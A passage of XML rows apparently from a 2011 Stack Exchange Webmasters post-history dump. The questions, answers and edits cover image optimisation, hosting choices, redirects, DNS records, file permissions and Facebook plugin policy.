&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Techniques to consider**&#xD;&#xA;&#xD;&#xA;I would avoid extreme compression if you must. The internet provides lots of great techniques to improve load:&#xD;&#xA;&#xD;&#xA; - Provide excellent user experience: Utilizing a loader (preferably javascript) and providing your visitors rich feedback will let them know they're waiting for a rather large file will allow them to stay longer. Or techniques like interactive image zoom makes a lot of sense.&#xD;&#xA;&#xD;&#xA; -  Caching - Utilize website software that generates different sizes of images for the user&#xD;&#xA;&#xD;&#xA; - Utilize a CDN: Consider architectural changes. Like loading static images from a CDN or a different network altogether will provide you a quicker load time.&#xD;&#xA;&#xD;&#xA; - Consider javascript lazy loading: There are [lots][1] of javascript plugins that provide &quot;lazyloading&quot; images; that wait to load the image until it's absolutely necessary.&#xD;&#xA;&#xD;&#xA; - Review [YUI Performance guide][2]: Yahoo offers an awesome guide on performance. Some of these tips are mentioned above already but this guide is pretty comprehensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=lazy%20loader%20javascript&#xD;&#xA;  [2]: http://developer.yahoo.com/performance/" />
  <row Id="44356" PostHistoryTypeId="5" PostId="18269" RevisionGUID="c930899e-73b9-47a7-9a25-b16a590d67bb" CreationDate="2011-08-15T16:44:28.740" UserId="7964" Comment="added 420 characters in body" Text="In my experience, this is more a balance between load speed and photo quality.  Given i'm a professional photographer myself, I understand this difficult challenge.&#xD;&#xA;&#xD;&#xA;I feel that the internet has gone a long way and there are now some great techniques and tools that you can utilize to avoid this issues. None of these techniques are germane or specific to a photography website.&#xD;&#xA;&#xD;&#xA;**Regarding your first question:** How much quality can I sacrifice against professionality?&#xD;&#xA;&#xD;&#xA;In my experience, generally you can find a balance by playing with the settings of a jpeg image. Settings of 70-85 quality and 72 DPI will be sufficient.&#xD;&#xA;&#xD;&#xA;**Your second question:** Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?&#xD;&#xA;&#xD;&#xA;Yes, any pixelation and/or poor quality of an image will reflect poorly if the photos aren't very high quality. A photographer's work is solely dependent on visual quality and attention to visual detail. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Techniques to consider**&#xD;&#xA;&#xD;&#xA;I would avoid extreme compression if you must. The internet provides lots of great techniques to improve load:&#xD;&#xA;&#xD;&#xA; - **Provide excellent user experience**: Providing your visitors rich feedback will reduce frustration and will keep them at your website longer. Consider the following UI related techniques:&#xD;&#xA;   - Utilizing a loader  &#xD;&#xA;   - Interactive image zoom makes a lot of sense.&#xD;&#xA; - **Dynamic Image Caching** - Utilize website software that generates different sizes of images for the user ahead of time. If you're using a LAMP stack PHP offers two great code libraries ([GD][1] &amp; [Imagemagick][2] and [lots of great scripts][3] that can do this for you.&#xD;&#xA;&#xD;&#xA; - **Utilize a CDN**: Consider architectural (server) setups. Like loading static images from a CDN or a different network altogether will provide you a quicker load time.&#xD;&#xA;&#xD;&#xA; - **Consider javascript lazy loading**: There are [lots][4] of javascript plugins that provide &quot;lazyloading&quot; images; that wait to load the image until it's absolutely necessary.&#xD;&#xA;&#xD;&#xA; - **Utilize a image resizing Service**: There's  a great thread right below this one about this very topic! http://webmasters.stackexchange.com/questions/18240/smush-it-or-similar-lossless-image-shrinking-with-api&#xD;&#xA;&#xD;&#xA; - **Finally, Review [YUI Performance guide][5]**: Yahoo offers an awesome guide on performance. Some of these tips are mentioned above already but this guide is pretty comprehensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/intro.image.php&#xD;&#xA;  [2]: http://www.imagemagick.org/script/index.php&#xD;&#xA;  [3]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=dynamic%20image%20resizer%20php&#xD;&#xA;  [4]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=lazy%20loader%20javascript&#xD;&#xA;  [5]: http://developer.yahoo.com/performance/" />
  <row Id="44357" PostHistoryTypeId="2" PostId="18270" RevisionGUID="5d3bc4c6-51d2-4330-a4a0-7dd020fdfc28" CreationDate="2011-08-15T16:44:50.957" UserId="8345" Text="Here is something I have been wondering about for the longest time. It seems very simple, but to this day I do not know any practically usable technology.&#xD;&#xA;&#xD;&#xA;Is there a way that I can browse the internet and enforce a universal &quot;same origin&quot; policy?&#xD;&#xA;&#xD;&#xA;By that I mean that my browser will simply not issue *any* network requests for *anything* that isn't in the same domain as the root website that I am visiting. Nothing. No images, no CSS, no JavaScript, no frames, no iframes, no AJAX requests, no plugin video content.&#xD;&#xA;&#xD;&#xA;Even though the WWW is now well into its adult life, it still seems like there is no way for me, the user, to visit a website which contains an image sourced from a third party server without that server knowing that I visited the website. I know that there are several individual, ad-hoc workarounds, but the very simple heart of the matter is that I should be able to instruct my browser in simple, broad terms to never start any requests to any off-site location.&#xD;&#xA;&#xD;&#xA;(Please don't tell me that this will break lots of sites. That's not a problem. This is a question of principle.)&#xD;&#xA;&#xD;&#xA;Does any such technology exist? Any special browsers, or plugins for popular browsers?" />
  <row Id="44358" PostHistoryTypeId="1" PostId="18270" RevisionGUID="5d3bc4c6-51d2-4330-a4a0-7dd020fdfc28" CreationDate="2011-08-15T16:44:50.957" UserId="8345" Text="Universal same-origin policy" />
  <row Id="44359" PostHistoryTypeId="3" PostId="18270" RevisionGUID="5d3bc4c6-51d2-4330-a4a0-7dd020fdfc28" CreationDate="2011-08-15T16:44:50.957" UserId="8345" Text="&lt;browsers&gt;&lt;privacy&gt;" />
  <row Id="44360" PostHistoryTypeId="2" PostId="18271" RevisionGUID="61ca6ecc-b7a0-495f-9cc4-a81e3d396803" CreationDate="2011-08-15T16:50:03.087" UserId="576" Text="ProgrammableWeb tracks web APIs &amp; it shows [a useful list when you search with the keyword &quot;dictionary&quot;][1]&#xD;&#xA;&#xD;&#xA;[FOLDOC.org][2] &amp; [WordNet from Princeton University][3] provide their dictionary database for free. Customizing the database will require some programming.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.programmableweb.com/apitag/?q=dictionary&#xD;&#xA;  [2]: http://foldoc.org/source.html&#xD;&#xA;  [3]: http://wordnet.princeton.edu/wordnet/" />
  <row Id="44361" PostHistoryTypeId="2" PostId="18272" RevisionGUID="9788c922-a08c-4ba4-8b56-b77fad010f9e" CreationDate="2011-08-15T16:50:34.270" UserId="9396" Text="If I understand you correctly this should work:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    # enable mod_rewrite&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # redirect to the view folder&#xD;&#xA;    RewriteRule    (.*) view/$1    [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;" />
  <row Id="44362" PostHistoryTypeId="17" PostId="18273" RevisionGUID="be0b6401-6584-4e57-b283-88941c8c0b3b" CreationDate="2011-08-15T17:02:40.137" UserId="-1" Comment="from http://serverfault.com/questions/301274/how-can-i-make-sure-i-dont-get-scammed-when-buying-web-hosting" Text="" />
  <row Id="44363" PostHistoryTypeId="2" PostId="18273" RevisionGUID="6042b93e-0044-4daf-bb1c-cfbd94bea31e" CreationDate="2011-08-15T16:57:34.763" UserId="9604" UserDisplayName="jnm2" Text="Whenever I have put research into 'affordable' web hosting (for me, something like $100/yr), it seems like everything out there feels or smells scammy.  Too flashy, poor English, popups, 'last chance' offers&amp;mdash;the whole nine yards.  With my current provider (one of the above) I'm getting fairly good service, not quite excellent.  But the tech support is unmotivated, to say the least.  I'm thinking about switching.&#xD;&#xA;&#xD;&#xA;As I look again for hosting providers, I'm totally confused.  Everything looks like a scam. Even the sites set up to rate hosting providers look scammy.  This basically applies to everything I see when I do a Google search.&#xD;&#xA;&#xD;&#xA;So am I in fact missing the good stuff, or am I just being too picky?  Or should I be thinking about raising my price range?" />
  <row Id="44364" PostHistoryTypeId="1" PostId="18273" RevisionGUID="6042b93e-0044-4daf-bb1c-cfbd94bea31e" CreationDate="2011-08-15T16:57:34.763" UserId="9604" UserDisplayName="jnm2" Text="How can I make sure I don't get scammed when buying web hosting?" />
  <row Id="44365" PostHistoryTypeId="3" PostId="18273" RevisionGUID="6042b93e-0044-4daf-bb1c-cfbd94bea31e" CreationDate="2011-08-15T16:57:34.763" UserId="9604" UserDisplayName="jnm2" Text="&lt;web-hosting&gt;" />
  <row Id="44366" PostHistoryTypeId="2" PostId="18274" RevisionGUID="6d40fb2b-a854-4040-87d4-91561b9b569f" CreationDate="2011-08-15T17:03:10.127" UserId="5806" Text="No. cPanel cannot know how long a page takes too load.&#xD;&#xA;&#xD;&#xA;There are two many variable that affect a pages performance. If it loads fast for the hosts, then it loads fast for the host but that may be because their network access is much more efficient to their own machines.&#xD;&#xA;&#xD;&#xA;The best is to measure performance from an outside point such as [Google Page Speed][1]. Just enter your URL and it will even give you suggestions on how to improve it. Keep in mind that it will give you different speed ratings based on network conditions too, so test on Monday morning if you prefer better results ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pagespeed.googlelabs.com/" />
  <row Id="44367" PostHistoryTypeId="5" PostId="18273" RevisionGUID="2ac6010e-2459-4419-9157-ed1289eec38b" CreationDate="2011-08-15T17:12:10.777" UserId="9604" Comment="deleted 46 characters in body" Text="Whenever I have put research into 'affordable' web hosting (for me, something like $100/yr), it seems like everything out there feels or smells scammy.  Too flashy, poor English, popups, 'last chance' offers&amp;mdash;the whole nine yards.  With my current provider (one of the above) I'm getting fairly good service, not quite excellent.  But the tech support is unmotivated, to say the least.  I'm thinking about switching.&#xD;&#xA;&#xD;&#xA;As I look again for hosting providers, I'm totally confused.  Everything I see in a Google search looks like a scam. Even the sites set up to rate hosting providers look scammy.&#xD;&#xA;&#xD;&#xA;So am I in fact missing the good stuff, or am I just being too picky?  Or should I be thinking about raising my price range?" />
  <row Id="44368" PostHistoryTypeId="5" PostId="18274" RevisionGUID="678ef4d7-7313-4620-b154-d3711a489af9" CreationDate="2011-08-15T17:13:56.013" UserId="5806" Comment="Typo" Text="No. cPanel cannot know how long a page takes too load.&#xD;&#xA;&#xD;&#xA;There are too many variables that affect a page's performance. If it loads fast for the hosts, then it loads fast for the host but that may be because their network access is much more efficient to their own machines.&#xD;&#xA;&#xD;&#xA;The best is to measure performance from an outside point such as [Google Page Speed][1]. Just enter your URL and it will even give you suggestions on how to improve it. Keep in mind that it will give you different speed ratings based on network conditions too, so test on Monday morning if you prefer better results ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pagespeed.googlelabs.com/" />
  <row Id="44369" PostHistoryTypeId="2" PostId="18275" RevisionGUID="9eec6cd9-5a0c-4354-8879-ba576afb672a" CreationDate="2011-08-15T17:18:29.840" UserId="4502" Text="I've never used the hosting review sites, but the common opinion of them is that even if you manage to find one that isn't an *outright* scam, anyone ranked high on one of them at the very least probably paid for the position, which tends to undermine the recommendation/review aspect.&#xD;&#xA;&#xD;&#xA;Get recommendations, from people you actually know or can at least communicate directly with. If you've never heard of the host, there's no real reason to take a chance. Your budget *is* a bit on the low side, but there are still options with established, reputable hosts, eg. &lt;a href=&quot;http://www.pair.com/services/web_hosting/&quot;&gt;Pair&lt;/a&gt;, &lt;a href=&quot;http://www.webfaction.com/services/hosting&quot;&gt;WebFaction&lt;/a&gt;. You'll be on the &quot;entry-level&quot; plans, but they can be trusted. Others can probably recommend some other hosts; I just happen to have direct experience with these two." />
  <row Id="44370" PostHistoryTypeId="2" PostId="18276" RevisionGUID="fc6b787d-9189-4873-827e-a082379ed709" CreationDate="2011-08-15T17:32:44.470" UserId="9605" Text="Imagine two lists:&#xD;&#xA;&#xD;&#xA; 1. colors&#xD;&#xA; 2. objects&#xD;&#xA;&#xD;&#xA;Each of those lists has several dozens values.  &#xD;&#xA;Is there a known UI widget that gives you the functionality to macth elements from one list to elements in the second list in a nice visual way?" />
  <row Id="44371" PostHistoryTypeId="1" PostId="18276" RevisionGUID="fc6b787d-9189-4873-827e-a082379ed709" CreationDate="2011-08-15T17:32:44.470" UserId="9605" Text="How do you call a controll that gives the user the ability to match two lists?" />
  <row Id="44372" PostHistoryTypeId="3" PostId="18276" RevisionGUID="fc6b787d-9189-4873-827e-a082379ed709" CreationDate="2011-08-15T17:32:44.470" UserId="9605" Text="&lt;javascript&gt;&lt;widgets&gt;&lt;comparison&gt;" />
  <row Id="44373" PostHistoryTypeId="5" PostId="18273" RevisionGUID="81e5d59c-719e-4cd4-b1e8-9c58485dcb36" CreationDate="2011-08-15T17:37:38.817" UserId="9604" Comment="added 96 characters in body" Text="Whenever I have put research into 'affordable' web hosting (for me, something like $100/yr), it seems like everything out there feels or smells scammy.  Too flashy, poor English, popups, 'last chance' offers&amp;mdash;the whole nine yards.  With my current provider (one of the above) I'm getting fairly good service, not quite excellent.  But the tech support is unmotivated, to say the least.  I'm thinking about switching.&#xD;&#xA;&#xD;&#xA;As I look again for hosting providers, I'm totally confused.  Everything I see in a Google search looks like a scam. Even the sites set up to rate hosting providers look scammy.&#xD;&#xA;&#xD;&#xA;So am I in fact missing the good stuff, or am I just being too picky?  Or should I be thinking about raising my price range?&#xD;&#xA;&#xD;&#xA;EDIT: I'm not sure how this works.  Am I allowed to mention a particular host I might use?  " />
  <row Id="44377" PostHistoryTypeId="25" PostId="18266" RevisionGUID="b4911738-3b6c-4a3c-9d3c-5d6c222af1dc" CreationDate="2011-08-15T18:34:43.020" Comment="http://twitter.com/#!/StackWebmasters/status/103172782774427651" />
  <row Id="44378" PostHistoryTypeId="2" PostId="18278" RevisionGUID="5950e419-f376-42ec-9395-bef05e142ddd" CreationDate="2011-08-15T18:49:34.293" UserId="9606" Text="I have a website (powered by Rails/Postgres and nginx) where I had setup a blog and a coupons section as:&#xD;&#xA;&#xD;&#xA;http://myrailsapp.com/blog/ &#xD;&#xA;&#xD;&#xA;http://myrailsapp.com/coupons/&#xD;&#xA;&#xD;&#xA;Blog is powered by wordpress and similarly the coupons section is powered by PHP/Mysql.&#xD;&#xA;&#xD;&#xA;The traffic of my website has increased a lot over the last 6 months. So, the thought was to move Blog and coupons on a different server and hence i dont need to run mysql/php etc where my rails app is running, reducing my memory footprint as much as I can. So I am planning to move to subdomain structure from the existing subdirectory structure.&#xD;&#xA;&#xD;&#xA;1) Is the above thought process correct?&#xD;&#xA;&#xD;&#xA;2) How much SEO impact would I have, if I move from subdirectory to subdomain and set up 301 redirects. My subdirectory structure for coupons is indexed quite well in Google.. So any mistake here could be costly :(&#xD;&#xA;&#xD;&#xA;Would setting up 301 redirects correctly solve my problem? Is there something else that I am missing here? Or is that all about it? Anything else ithat I must take care as far as SEO also goes..&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44379" PostHistoryTypeId="1" PostId="18278" RevisionGUID="5950e419-f376-42ec-9395-bef05e142ddd" CreationDate="2011-08-15T18:49:34.293" UserId="9606" Text="Moving from Subdirectory to Subdomain structure" />
  <row Id="44380" PostHistoryTypeId="3" PostId="18278" RevisionGUID="5950e419-f376-42ec-9395-bef05e142ddd" CreationDate="2011-08-15T18:49:34.293" UserId="9606" Text="&lt;redirects&gt;&lt;subdomain&gt;&lt;301-redirect&gt;" />
  <row Id="44381" PostHistoryTypeId="2" PostId="18279" RevisionGUID="94f740e3-09b9-449c-9fc6-a26775e334d3" CreationDate="2011-08-15T18:56:07.497" UserId="4144" Text="**Word of mouth** is definitely my favorite method for finding hosts. &#xD;&#xA;&#xD;&#xA;For a PHP stack I use [DreamHost][1] and they're great. Good customer service, good uptime, etc. I have unlimited storage, bandwidth, email, etc for ~100 a year. They offer automated installers for WordPress and stuff as well. If you're interested here is their package comparisons: http://dreamhost.com/servers/compare-our-products/&#xD;&#xA;&#xD;&#xA;For MS stack a few of my friends have recommended [WinHost][2] or [MidPhase][3]. I've used WinHost and its decent but a lot more restrictive then DreamHost. I haven't used MidPhase yet but am planning to subscribe there soon. Good luck!&#xD;&#xA;&#xD;&#xA;You might also consider looking at [SquareSpace][4]. Takes a lot of pain out of making a website if it going to be a simple one. I recommended it for my less technical friends.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dreamhost.com/&#xD;&#xA;  [2]: http://www.winhost.com/&#xD;&#xA;  [3]: http://www.midphase.com/&#xD;&#xA;  [4]: http://www.squarespace.com/" />
  <row Id="44382" PostHistoryTypeId="5" PostId="18278" RevisionGUID="770b9cb0-38b2-46c3-a5d7-f7d54c34c8ca" CreationDate="2011-08-15T18:56:50.810" UserId="9606" Comment="improved formatting" Text="I have a website (powered by Rails/Postgres and nginx) where I had setup a blog and a coupons section as:&#xD;&#xA;&#xD;&#xA;http://myrailsapp.com/blog/ http://myrailsapp.com/coupons/&#xD;&#xA;&#xD;&#xA;Blog is powered by wordpress and similarly the coupons section is powered by PHP/Mysql.&#xD;&#xA;&#xD;&#xA;The traffic of my website has increased a lot over the last 6 months. So, the thought was to move Blog and coupons on a different server and hence i dont need to run mysql/php etc where my rails app is running, reducing my memory footprint as much as I can. So I am planning to move to subdomain structure from the existing subdirectory structure.&#xD;&#xA;&#xD;&#xA;1) Is the above thought process correct?&#xD;&#xA;&#xD;&#xA;2) How much SEO impact would I have, if I move from subdirectory to subdomain and set up 301 redirects. My subdirectory structure for coupons is indexed quite well in Google.. So any mistake here could be costly :(&#xD;&#xA;&#xD;&#xA;3) I am not an expert on Nginx, so I ended up writing whatever I could:&#xD;&#xA;&#xD;&#xA;location ^~ /coupons/ {&#xD;&#xA;&#xD;&#xA;rewrite ^/coupons(.*) http://coupons.myrailsapp.com$1 permanent;&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Would that set up 301 redirects correctly? Is there something else that I am missing here? Or is that all about it? Anything else in the above code that I must take care as far as SEO also goes..&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44384" PostHistoryTypeId="2" PostId="18280" RevisionGUID="36163f47-5996-45d9-9e59-56a959bf64e0" CreationDate="2011-08-15T20:18:36.970" UserId="9163" Text="&gt; chmod 777 file	change the permissions of the file file to read, write,&#xD;&#xA;&gt; and execute for all.&#xD;&#xA;&#xD;&#xA;Ok, so the file can be manipulated in any way by any script on the server. But why is this not secure?&#xD;&#xA;&#xD;&#xA;If you already have a script there, than the person who uploaded it has access to your server anyway... So what's the catch here?" />
  <row Id="44385" PostHistoryTypeId="1" PostId="18280" RevisionGUID="36163f47-5996-45d9-9e59-56a959bf64e0" CreationDate="2011-08-15T20:18:36.970" UserId="9163" Text="Why chmod 777 is not secure?" />
  <row Id="44386" PostHistoryTypeId="3" PostId="18280" RevisionGUID="36163f47-5996-45d9-9e59-56a959bf64e0" CreationDate="2011-08-15T20:18:36.970" UserId="9163" Text="&lt;apache&gt;&lt;security&gt;&lt;server&gt;" />
  <row Id="44387" PostHistoryTypeId="25" PostId="18278" RevisionGUID="c1c1944a-4218-483d-9fa0-96a8ec6d3c63" CreationDate="2011-08-15T20:34:43.900" Comment="http://twitter.com/#!/StackWebmasters/status/103202986150473729" />
  <row Id="44388" PostHistoryTypeId="2" PostId="18281" RevisionGUID="0b6853e3-d324-457b-948f-61ce237d57d1" CreationDate="2011-08-15T20:43:55.683" UserId="6033" Text="One reason is that it's easier to gain user access to a linux server than it is to gain root or the specific user that's allowed to access the script. If you set the permissions so anyone can access/modify/delete, it then you're removing a layer of security that user based permissions provide. If someone fumbles across a user account then they can take down your server. The best security is built in layers.&#xD;&#xA;&#xD;&#xA;This isn't limited to linux servers, just using them as an example." />
  <row Id="44389" PostHistoryTypeId="2" PostId="18282" RevisionGUID="2fd3cc98-6923-446e-8935-8c2c63f6e07d" CreationDate="2011-08-15T20:52:00.813" UserId="9608" Text="Am just about to finish up a web project, and so far I've got good social media integration into the site's theme (Youtube and Twitter)...except Facebook Like Box [developers.facebook.com/docs/reference/plugins/like-box/] for a not-for-profit's Facebook Page! I would very much like to show it as is without the border and the *Facebook Social Plugin* hyperlink at the bottom, and I've found out how to do so via the following links:&#xD;&#xA;&#xD;&#xA; - http://line25.com/tutorials/how-to-add-a-custom-facebook-like-box-to-your-site&#xD;&#xA; - http://www.daddydesign.com/wordpress/how-to-customize-your-facebook-fan-box/&#xD;&#xA;&#xD;&#xA;Both are great resources, and allow me to accomplish my goal of total theme integration, but I came across the following Facebook policy:&#xD;&#xA;&#xD;&#xA;&gt; IV. Application Integration Points - 4.d. You must not obscure or cover elements of our social plugins, such as the Like button or Like box plugin.&#xD;&#xA;&#xD;&#xA;By definition to *obscure* is to conceal something, and granted that the only thing I want to conceal is the *Facebook Social Plugin* hyperlink (and perhaps change a few colors), but I've see a lot of sites that have done what I intend to do. The last thing I want is for my client's page/profile to get banned from Facebook. So I'm asking anyone who has had experience with this particular issue, if what I intend to do **does** constitute a violation of that policy, and have you heard of pages/profiles being banned from Facebook for the same reason?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="44390" PostHistoryTypeId="1" PostId="18282" RevisionGUID="2fd3cc98-6923-446e-8935-8c2c63f6e07d" CreationDate="2011-08-15T20:52:00.813" UserId="9608" Text="Customize Facebook Like Box - Policy Infringement" />
  <row Id="44391" PostHistoryTypeId="3" PostId="18282" RevisionGUID="2fd3cc98-6923-446e-8935-8c2c63f6e07d" CreationDate="2011-08-15T20:52:00.813" UserId="9608" Text="&lt;facebook&gt;&lt;design&gt;&lt;terms-of-use&gt;" />
  <row Id="44392" PostHistoryTypeId="5" PostId="18281" RevisionGUID="81d060bc-1a37-421a-9099-5a0d26b3a971" CreationDate="2011-08-15T20:52:10.053" UserId="6033" Comment="added 273 characters in body" Text="One reason is that it's easier to gain **user** access to a linux server than it is to gain **root** or the specific user that's allowed to access the script. If you set the permissions so anyone can access/modify/delete all important scripts, then you're removing a layer of security that user based permissions provide. If someone fumbles across a **user** account then they can take down your server. The best security is built in layers.&#xD;&#xA;&#xD;&#xA;Maybe your question is based on how FTP accounts work. If you have a full ftp access account to a server, than you can do anything you want to the available files regardless of their permission. That's an insecurity in allowing full FTP access to a server.&#xD;&#xA;&#xD;&#xA;This isn't limited to linux servers, just using them as an example." />
  <row Id="44393" PostHistoryTypeId="5" PostId="18281" RevisionGUID="a73a95e8-0055-44f0-b6c8-060abd0fdf52" CreationDate="2011-08-15T21:03:30.533" UserId="6033" Comment="edited body" Text="One reason is that it's easier to gain **user** access to a linux server than it is to gain **root** or the specific user that's allowed to access the script. If you set the permissions so anyone can access/modify/delete all important scripts, then you're removing a layer of security that user based permissions provide. If someone fumbles across a **user** account then they can take down your server. The best security is built in layers.&#xD;&#xA;&#xD;&#xA;Maybe your question is based on how FTP accounts work. If you have a full ftp access account to a server, then you can do anything you want to the available files regardless of their permission. That's an insecurity in allowing full FTP access to a server.&#xD;&#xA;&#xD;&#xA;This isn't limited to linux servers, just using them as an example." />
  <row Id="44394" PostHistoryTypeId="2" PostId="18283" RevisionGUID="37a3e627-5a33-47a0-b518-08d219274d40" CreationDate="2011-08-15T21:30:36.337" UserId="9610" Text="This is a good question but I would have to agree with Pekka. Perhaps you may not realize the consequences of doing so. For example say you visit one of the many many sites that use jQuery from the Google CDN. If this site just happens to not be coded in manner that makes it gracefully degrade (ie. bad coding standards) then you may be stuck on the home page because the coder decided to use jQuery logic **exclusively** for his navigation. This is a very common thing. Doing so is similar to wanting to disable all scripts and then expect for the internet to work properly; some pages might, and others may be **completely** unusable/unbrowsable." />
  <row Id="44395" PostHistoryTypeId="2" PostId="18284" RevisionGUID="fdb48ec4-ebf3-42a7-a2f2-6e410c871ce8" CreationDate="2011-08-15T21:35:28.423" UserId="9611" Text="Yes, this is the specific type of thing that they are trying to disallow with the policy. Consider that this link is part of their strategy to virally spread the plugin across the web. They're providing this service for your website, for free, and one of the tradeoffs of this is that you link back to them.&#xD;&#xA;&#xD;&#xA;It's more forgivable to try change the colours or get rid of the border, although this would technically also be a violation of the policy.&#xD;&#xA;&#xD;&#xA;I've never heard of anything being banned for this, however.&#xD;&#xA;" />
  <row Id="44396" PostHistoryTypeId="17" PostId="18285" RevisionGUID="728aa866-6cb0-4bf2-a93e-af197c28b1d4" CreationDate="2011-08-15T21:39:52.333" UserId="-1" Comment="from http://stackoverflow.com/questions/7070980/how-to-point-two-domains-to-one-ip-address-with-a-sub-domain" Text="" />
  <row Id="44397" PostHistoryTypeId="17" PostId="18286" RevisionGUID="d86e6039-4560-4ac7-889d-bad6fa754cfa" CreationDate="2011-08-15T21:39:52.333" UserId="-1" Comment="from http://stackoverflow.com/questions/7070980/how-to-point-two-domains-to-one-ip-address-with-a-sub-domain" Text="" />
  <row Id="44398" PostHistoryTypeId="2" PostId="18286" RevisionGUID="0398516f-3843-4f38-b7ec-d0b4c9cc0914" CreationDate="2011-08-15T21:27:17.663" UserId="9626" UserDisplayName="Peter V" Text="What you probably want is called a &quot;CNAME&quot; Record. This is like a softlink to a domain.&#xD;&#xA;&#xD;&#xA;You would add it wherever your DNS provider has the &quot;A record&quot; you mention, and it would look something like&#xD;&#xA;&#xD;&#xA;    m.mainsite.org. CNAME m.my-site.org.&#xD;&#xA;&#xD;&#xA;This tells the DNS resolver that whenever it sees m.mainsite.org, it should go try and resolve m.my-site.org&#xD;&#xA;&#xD;&#xA;Note the trailing dots -- some DNS providers require them, some do not. When in doubt, use them.&#xD;&#xA;&#xD;&#xA;Note that this doubles the initial lookup time for someone visiting your site; they have to do two lookups now.&#xD;&#xA;&#xD;&#xA;A faster way that requires more maintenance is to just add an A record for m.mainsite.org that points to the IP address at my-site.org. If you do that, you will need to update both in case of a new IP address, or a failover scenario.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44399" PostHistoryTypeId="2" PostId="18285" RevisionGUID="13b8de4f-6c12-402c-8369-abcb6141d8ff" CreationDate="2011-08-15T21:21:26.587" UserId="9618" UserDisplayName="Matthew" Text="I am a little stuck here I currently have a domain: &#xD;&#xA;&#xD;&#xA;www.my-site.org &amp; m.my-site.org&#xD;&#xA;&#xD;&#xA;I want to point m.mainsite.org to m.my-site.org&#xD;&#xA;&#xD;&#xA;I already have an A record created for m.mainsite.org I need to know what I have to do to the server that my-site.org is on.&#xD;&#xA;&#xD;&#xA;I have this site on a unix apache server. Any help would do.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="44400" PostHistoryTypeId="1" PostId="18285" RevisionGUID="13b8de4f-6c12-402c-8369-abcb6141d8ff" CreationDate="2011-08-15T21:21:26.587" UserId="9618" UserDisplayName="Matthew" Text="How to point two domains to one ip address with a sub-domain" />
  <row Id="44401" PostHistoryTypeId="3" PostId="18285" RevisionGUID="13b8de4f-6c12-402c-8369-abcb6141d8ff" CreationDate="2011-08-15T21:21:26.587" UserId="9618" UserDisplayName="Matthew" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;dns&gt;" />
  <row Id="44402" PostHistoryTypeId="25" PostId="18280" RevisionGUID="42d1d484-fa95-4e12-baae-87991df985b1" CreationDate="2011-08-15T22:34:44.117" Comment="http://twitter.com/#!/StackWebmasters/status/103233185172832256" />
  <row Id="44403" PostHistoryTypeId="5" PostId="18282" RevisionGUID="5073ca24-251f-419b-bde0-ff50827b14a0" CreationDate="2011-08-15T22:53:54.070" UserId="4502" Comment="Fixed Markdown link; minor edit" Text="I'm just about to finish up a web project, and so far I've got good social media integration into the site's theme (Youtube and Twitter)...except [Facebook Like Box](http://developers.facebook.com/docs/reference/plugins/like-box/) for a not-for-profit's Facebook Page! I would very much like to show it as is without the border and the *Facebook Social Plugin* hyperlink at the bottom, and I've found out how to do so via the following links:&#xD;&#xA;&#xD;&#xA; - http://line25.com/tutorials/how-to-add-a-custom-facebook-like-box-to-your-site&#xD;&#xA; - http://www.daddydesign.com/wordpress/how-to-customize-your-facebook-fan-box/&#xD;&#xA;&#xD;&#xA;Both are great resources, and allow me to accomplish my goal of total theme integration, but I came across the following Facebook policy:&#xD;&#xA;&#xD;&#xA;&gt; IV. Application Integration Points - 4.d. You must not obscure or cover elements of our social plugins, such as the Like button or Like box plugin.&#xD;&#xA;&#xD;&#xA;By definition to *obscure* is to conceal something, and granted that the only thing I want to conceal is the *Facebook Social Plugin* hyperlink (and perhaps change a few colors), but I've see a lot of sites that have done what I intend to do. The last thing I want is for my client's page/profile to get banned from Facebook. So I'm asking anyone who has had experience with this particular issue, if what I intend to do **does** constitute a violation of that policy, and have you heard of pages/profiles being banned from Facebook for the same reason?" />
  <row Id="44404" PostHistoryTypeId="5" PostId="15460" RevisionGUID="de9fcd19-c942-4c67-8b13-140d8d564c2c" CreationDate="2011-08-15T22:59:00.893" UserId="4502" Comment="added 23 characters in body; edited title" Text="I want to integrate [PayPal parallel payments](https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_api_WPParallelPaymens) in Magento. &#xD;&#xA;&#xD;&#xA;Is this possible through Magento's admin interface without working on the code? Are there any extensions available for this? &#xD;&#xA;&#xD;&#xA;I have already found this [developer network post](https://www.x.com/blogs/easypaypalwithphp/2010/01/26/exploring-parallel-payments-with-php-with-a-sample-application) which is pretty helpful for implementing Parallel payments in PHP." />
  <row Id="44405" PostHistoryTypeId="4" PostId="15460" RevisionGUID="de9fcd19-c942-4c67-8b13-140d8d564c2c" CreationDate="2011-08-15T22:59:00.893" UserId="4502" Comment="added 23 characters in body; edited title" Text="Paypal parallel payments implementation in Magento" />
  <row Id="44406" PostHistoryTypeId="25" PostId="18282" RevisionGUID="f7977227-3d4b-4525-b0f4-8e6539a39744" CreationDate="2011-08-16T00:34:44.887" Comment="http://twitter.com/#!/StackWebmasters/status/103263388074917888" />
